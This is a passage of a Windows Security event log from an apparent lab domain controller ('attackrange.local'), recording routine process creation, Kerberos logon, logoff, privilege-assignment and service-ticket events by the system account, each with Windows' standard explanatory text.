	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xee0
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:46:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248363
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf44
	New Process Name:	C:\Windows\System32\wbem\WMIADAP.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x478
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	wmiadap.exe /D /T

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:46:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248370
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x9917C
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{516F09E8-915A-EEAE-06B7-D42FEBA6FC38}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		63892

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:46:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248369
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x9917C

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:46:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248368
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x9904D

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:46:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248367
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x9904D
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{516F09E8-915A-EEAE-06B7-D42FEBA6FC38}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		63891

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:46:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248366
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x9904D

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:46:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248365
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x98F7A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{516F09E8-915A-EEAE-06B7-D42FEBA6FC38}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		63890

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:46:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248364
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x98F7A

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:46:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248372
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x9D987
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{516F09E8-915A-EEAE-06B7-D42FEBA6FC38}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		63893

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:46:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248371
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x9D987

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248373
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Process Information:
	New Process ID:		0xfc8
	New Process Name:	C:\Windows\System32\svchost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x35c
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	C:\Windows\System32\svchost.exe -k NetworkService

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:47:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248376
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Process Information:
	New Process ID:		0x950
	New Process Name:	C:\Windows\System32\wbem\WmiPrvSE.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1e0
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:47:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248375
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Process Information:
	New Process ID:		0x980
	New Process Name:	C:\Windows\System32\sppsvc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x35c
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	C:\Windows\system32\sppsvc.exe

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:47:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248374
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Process Information:
	New Process ID:		0x62c
	New Process Name:	C:\Windows\System32\msdtc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x35c
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	C:\Windows\System32\msdtc.exe

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:47:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248383
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB2F57

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248382
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB2F57
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		63896

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248381
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB2F57

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248380
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB2EFA

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248379
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB2EFA
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		63895

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248378
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB2EFA

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=248377
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		WIN-DC-725$@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{9D678683-75C2-D47D-B8DA-5C26C43328ED}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:47:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248395
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB30E9

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248394
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB30E9
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		63900

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248393
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB30E9

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
